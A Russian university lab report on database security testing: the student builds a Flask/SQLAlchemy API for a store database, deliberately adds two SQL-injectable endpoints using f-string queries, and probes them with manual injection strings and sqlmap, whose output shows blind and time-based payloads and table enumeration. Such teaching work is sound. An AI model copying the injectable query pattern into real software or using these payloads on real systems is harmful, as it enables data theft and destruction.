МИНОБРНАУКИ РОССИИ
САНКТ-ПЕТЕРБУРГСКИЙ ГОСУДАРСТВЕННЫЙ
ЭЛЕКТРОТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ
«ЛЭТИ» ИМ. В.И. УЛЬЯНОВА (ЛЕНИНА)
Кафедра МО ЭВМ

ОТЧЕТ

по лабораторной работе №5

по дисциплине «Базы данных»

Тема: Тестирование БД на безопасность

Студент гр. 3384 _____ Козьмин Н.В.

Преподаватель _____ Михайлова С.В.

Санкт-Петербург

2025

Цель работы.

Развернуть PostgreSQL локально, выполнить следующие задачи:

- Сделать простой web-сервер для выполнения запросов из ЛР3. Не обязательно делать авторизацию и т.п., хватит одного эдпоинта на каждый запрос, с параметрами запроса как query parameters.
- Намеренно сделать несколько (2-3) запроса, подверженных SQL-инъекциям.
- Проверить сделанный API с помощью sqlmap (или чего-то аналогичного), передав эндпоинты в качестве целей атаки. Посмотреть, какие уязвимости он нашёл (и не нашёл), опишите пути к исправлению.
- +2 балла, если написать эндпоинт с уязвимостью, которая не находится sqlmap-ом.

Задание.

Вариант 8. Пусть требуется создать программную систему, предназначенную для директора продовольственного магазина. Такая система должна обеспечивать хранение сведений о магазине, об имеющихся в нем товарах, о торговых базах и товарах, хранящихся на этих базах. Магазин осуществляет закупку товаров на разных базах, предпочитая при этом закупать одни виды товара на одних базах, а другие на других. Магазин характеризуется классом, номером и имеет несколько отделов. Каждый товар в каждом магазине продается, по крайней мере, в одном отделе. Каждый отдел имеет заведующего. Товары, имеющиеся в магазине и хранящиеся на базах, характеризуются ценой, сортом и количеством. Розничные цены в магазине зависят от класса магазина. Директор магазина должен иметь возможность изменить цену товара по своему усмотрению, осуществить закупку недостающего товара на базе. Он может также закрыть один из отделов или открыть новый, при этом товары могут перемещаться из отдела в отдел. Директору могут потребоваться следующие сведения:

- Какие товары имеются в магазине (на базе)?
- Какие отсутствующие товары может заказать магазин на базе?
- Какие товары, и в каком количестве имеются в отделе магазина?
- Список заведующих отделами магазина?
- Суммарная стоимость товара в каждом отделе?
- На каких базах, и в каких количествах есть товар нужного наименования?

Выполнение.

В ходе выполнения лабораторной работы сделан web-сервер, который имеет различные эндпоинты. В точке входа программы оставлено создание и заполнение бд тестовыми данными. Затем запускается само приложение по ip локальной сети. Логика с бд вынесена в отдельный файл, так как она используется в различных местах и для точки входа, и для приложения. Само приложение, находящееся в файле app.py, имеет только одну функцию для создания. В ней указываются маршруты, то есть сами эндпоинты с функциями, которые должны вызываться при запросе.

Для проверки работоспособности сделан маршрут с / и выводом сообщения об успешной работе. Логика с запуском всех запросов разом перенесена по пути /request. В текущей реализации при вызове http://10.10.0.105:8000/request будет показан json со всеми результатами. Для этого в execute_queries была дополнительно сделана сборка всех логов с запуском функций для запросов со значениями по умолчанию.

Для вызова каждой функции по отдельности с соответствующими параметрами использован метод add_url_rule, через который создаются маршруты по функциям, которые уже есть в отдельном списке. Для параметров запросов сделана внешняя функция, которая возвращает внутреннюю для вызова тогда, когда она потребуется. Во внутренней функции используется передаваемая функция, из которой уже берутся параметры, которые вообще в ней есть. Пользуясь тем, что функция будет вызвана уже только при самом запросе, берутся значения параметров запроса и подставляются в требуемую

функцию с запросом к бд. В первый параметр всегда подставляется сессия, так как она требуется во всех таких функциях.

Так как в имеющиеся функции используют правильным образом ORM, они не подвержены SQL инъекциям. Поэтому были отдельно созданы функции bad_query_like и bad_query_id с маршрутом по /hack_me и /bad_query соответсвенно. Вручную подобранные инъекции *%'; SELECT * FROM product –* и *1; SELECT * FROM product –* для соответствующих маршрутов позволяют брать информацию из бд, которую не подразумевается предоставлять пользователю. При более агрессивных действиях можно украсть всю информацию или удалить вовсе имеющуюся бд, что показывает, насколько важно обеспечение безопасности при такой разработке.

Проверим один из вредоносных эндпоинтов web-сервера через sqlmap:

```
$ sqlmap -u "http://10.10.0.105:8000/hack_me?value=1" --batch

        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.4#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:05:19 /2025-12-16/

[23:05:19] [INFO] resuming back-end DBMS 'postgresql'
[23:05:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: value (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: value=test' AND 2403=(SELECT (CASE WHEN (2403=2403) THEN 2403 ELSE (SELECT 7815 UNION SELECT 5074) END))-- kDVX

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind (comment)
    Payload: value=test' AND 9140=(SELECT 9140 FROM PG_SLEEP(5))--
---
[23:05:19] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[23:05:19] [INFO] fetched data logged to text files under '/home/kozmi/.local/share/sqlmap/output/10.10.0.105'
[23:05:19] [WARNING] your sqlmap version is outdated

[*] ending @ 23:05:19 /2025-12-16/
```

```
$ sqlmap -u "http://10.10.0.105:8000/hack_me?value=1" --dbs --batch
#получение названия БД
…
[22:55:55] [INFO] retrieved:
[22:55:55] [INFO] falling back to current database
[22:55:55] [INFO] fetching current database
[22:55:55] [INFO] retrieved: public
[22:55:55] [WARNING] on PostgreSQL you'll need to use schema names for
enumeration as the counterpart to database names on other DBMSes
available databases [1]:
[*] public

[22:55:55] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 73 times
…

$ sqlmap -u "http://10.10.0.105:8000/hack_me?value=1" -D public --tables -
-batch #получение колонок БД по имени БД
…
[22:57:50] [WARNING] running in a single-thread mode. Please consider usage
of option '--threads' for faster data retrieval
[22:57:50] [INFO] retrieved: 10
[22:57:51] [INFO] retrieved: department
[22:57:52] [INFO] retrieved: department_product
[22:57:52] [INFO] retrieved: employee
[22:57:53] [INFO] retrieved: product
[22:57:53] [INFO] retrieved: product_price
[22:57:55] [INFO] retrieved: store
[22:57:55] [INFO] retrieved: store_class
[22:57:56] [INFO] retrieved: trading_base
[22:57:57] [INFO] retrieved: warehouse_priority
[22:57:59] [INFO] retrieved: warehouse_product
Database: public
[10 tables]
+--------------------+
| department         |
| department_product |
| employee           |
| product            |
| product_price      |
| store              |
| store_class        |
| trading_base       |
| warehouse_priority |
| warehouse_product  |
+--------------------+

[22:58:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 290 times
…

$ sqlmap -u "http://10.10.0.105:8000/hack_me?value=1" --sql-query="SELECT
table_name FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog',
'information_schema');" -batch #аналогичное получение данных с помощью команды
…
[23:02:13] [INFO] retrieved: employee
[23:02:13] [INFO] retrieved: product
SELECT table_name FROM information_schema.tables WHERE table_schema NOT IN
('pg_catalog', 'information_schema') [10]:
[*] department_product
[*] department
[*] warehouse_priority
[*] store
```

```
[*] warehouse_product
[*] product_price
[*] store_class
[*] trading_base
[*] employee
[*] product

[23:02:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 379 times
…

$ sqlmap -u "http://10.10.0.105:8000/query_4_department_managers?store_id=3" --batch
…

[*] starting @ 23:09:08 /2025-12-16/

[23:09:08] [INFO] testing connection to the target URL
[23:09:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:09:08] [INFO] testing if the target URL content is stable
[23:09:09] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[23:09:09] [INFO] searching for dynamic content
[23:09:09] [INFO] dynamic content marked for removal (1 region)
[23:09:09] [INFO] testing if GET parameter 'store_id' is dynamic
[23:09:09] [INFO] GET parameter 'store_id' appears to be dynamic
[23:09:10] [WARNING] reflective value(s) found and filtering out
[23:09:10] [WARNING] heuristic (basic) test shows that GET parameter 'store_id' might not be injectable
[23:09:11] [INFO] heuristic (XSS) test shows that GET parameter 'store_id' might be vulnerable to cross-site scripting (XSS) attacks
[23:09:11] [INFO] testing for SQL injection on GET parameter 'store_id'
[23:09:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:09:12] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[23:09:42] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests
[23:09:42] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
q
```

Видно, что достается скрытая информация в отличие от правильного последнего запроса. Это связано с тем, что ORM пред обрабатывает значения перед тем, как их вставлять. А при подстановке самостоятельно напрямую, нужно это делать вручную. Приведем ссылки на результат работы в приложении А и код в приложении Б.

Выводы.

В ходе выполнения лабораторной работы изучены новые методы взаимодействия с базами данных и выполнены поставленные задачи, связанные с ними. Продемонстрирована важность обеспечения безопасностью работы с бд и то, как это делается в рабочей практике. Система проверена и успешно выполняет основные требования при удалении вредоносных фрагментов, требуемых по заданию.

ПРИЛОЖЕНИЕ А
ССЫЛКИ НА РЕЗУЛЬТАТЫ

Ссылка на pr:

https://github.com/moevm/sql-2025-3384/pull/48

ПРИЛОЖЕНИЕ Б
ИСХОДНЫЙ КОД

main.py:

```
from db import engine
from models import Base
from app import create_app
from populate_data import populate_test_data
from db import SessionLocal

def main():
    print("Создание отсутствующих таблиц в PostgreSQL...")
    Base.metadata.create_all(engine)

    print("Заполнение базы данных тестовыми значениями...")
    populate_test_data(SessionLocal())

    app = create_app()
    app.run(
        host="10.10.0.105",
        port=8000,
        debug=True
    )

if __name__ == "__main__":
    main()
```

db.py:

```
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
import os

db_host = os.getenv('DB_HOST', 'localhost')
db_port = os.getenv('DB_PORT', '5432')
db_name = os.getenv('DB_NAME', 'university_store_database')
db_user = os.getenv('DB_USER', 'postgres')
db_password = os.getenv('DB_PASSWORD', 'postgres')

# Создание подключения к PostgreSQL
database_url =
f'postgresql://{db_user}:{db_password}@{db_host}:{db_port}/{db_name}'
engine = create_engine(
    database_url,
    echo=False,
)

SessionLocal = sessionmaker(bind=engine)
```

queries.py (изменено):

```
def execute_queries(session, show_output=True):
    print("=" * 80)
    print("ЗАПРОСЫ К БАЗЕ ДАННЫХ УНИВЕРСИТЕТСКОГО МАГАЗИНА")
    print("=" * 80)

    log = {}

    # Выполнение всех запросов
    for query_func in queries:
```

```
            log[query_func.__name__]         =         str(query_func(session,
show_output=show_output))

        return log
```

queries.py (добавлено):

```
    # -- 6. На каких базах, и в каких количествах есть товар нужного
наименования?
    def bad_query_like(session, value):
        sql_query = f"""
        SELECT
            p.name as product_name,
            tb.name as trading_base,
            tb.description as base_description,
            wp.count as available_quantity,
            wp.price as price_per_unit
        FROM product p
        JOIN warehouse_product wp ON p.article = wp.article
        JOIN trading_base tb ON wp.trading_base_id = tb.trading_base_id
        WHERE p.name ILIKE '%{value}%';
        """
        # SQL-инъекция:
        # %'; SELECT * FROM product --
        print(sql_query)
        return session.execute(text(sql_query)).all()

    # -- 6. На каких базах, и в каких количествах есть товар нужного
наименования?
    def bad_query_id(session, value):
        sql_query = f"""
        SELECT
            p.name as product_name,
            tb.name as trading_base,
            tb.description as base_description,
            wp.count as available_quantity,
            wp.price as price_per_unit
        FROM product p
        JOIN warehouse_product wp ON p.article = wp.article
        JOIN trading_base tb ON wp.trading_base_id = tb.trading_base_id
        WHERE p.article = {value};
        """
        # SQL-инъекция:
        # 1; SELECT * FROM product --
        print(sql_query)
        return session.execute(text(sql_query)).all()
```

main.py:

```
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from models import Base
from populate_data import populate_test_data
from queries import execute_queries
import os

def main():
    # Параметры подключения к PostgreSQL
    db_host = os.getenv('DB_HOST', 'localhost')
    db_port = os.getenv('DB_PORT', '5432')
    db_name = os.getenv('DB_NAME', 'university_store_database')
    db_user = os.getenv('DB_USER', 'postgres')
    db_password = os.getenv('DB_PASSWORD', 'postgres')
```

```
        # Создание подключения к PostgreSQL
        database_url =
f'postgresql://{db_user}:{db_password}@{db_host}:{db_port}/{db_name}'
        engine = create_engine(
            database_url,
            echo=False,
        )

        # Создание таблиц
        print("Создание таблиц в PostgreSQL...")
        Base.metadata.create_all(engine)

        # Создание сессии
        Session = sessionmaker(bind=engine)
        session = Session()

        try:
            # Заполнение тестовыми данными
            print("Заполнение базы данных тестовыми данными...")
            populate_test_data(session)

            # Выполнение запросов
            execute_queries(session)

        except Exception as e:
            print(f"Произошла ошибка: {e}")
            session.rollback()
        finally:
            session.close()

    if __name__ == "__main__":
        main()
```

app.py:

```
from flask import Flask, request, jsonify
from db import SessionLocal
from queries import *
import inspect

def create_app():
    app = Flask(__name__)

    @app.route("/")
    def index():
        return "Flask работает"


    def call_func(func):
        def query_func():
            sig = inspect.signature(func)
            params = list(sig.parameters.keys())
            args = dict()
            for arg in params[1:]:
                v = request.args.get(arg, None)
                if v != None:
                    args[arg] = v
            args["session"]=SessionLocal()
            return str(func(**args))

        return query_func

    for func in queries: # queries - список внутри модуля queries
```

```
        app.add_url_rule(f"/{func.__name__}",            endpoint=func.__name__,
view_func=call_func(func))


    @app.route("/hack_me")
    def hack_me():
        session = SessionLocal()
        try:
            value = request.args.get("value", "")
            return str(bad_query_like(session, value))
        except Exception as e:
            print(f"Произошла ошибка: {e}")
            session.rollback()
        finally:
            session.close()

    @app.route("/bad_query")
    def bad_query_():
        session = SessionLocal()
        try:
            value = request.args.get("value", "")
            return str(bad_query_id(session, value))
        except Exception as e:
            print(f"Произошла ошибка: {e}")
            session.rollback()
        finally:
            session.close()


    @app.route("/request")
    def execute_queries_():
        session = SessionLocal()
        try:
            return jsonify(execute_queries(session))
        except Exception as e:
            print(f"Произошла ошибка: {e}")
            session.rollback()
        finally:
            session.close()



    return app
```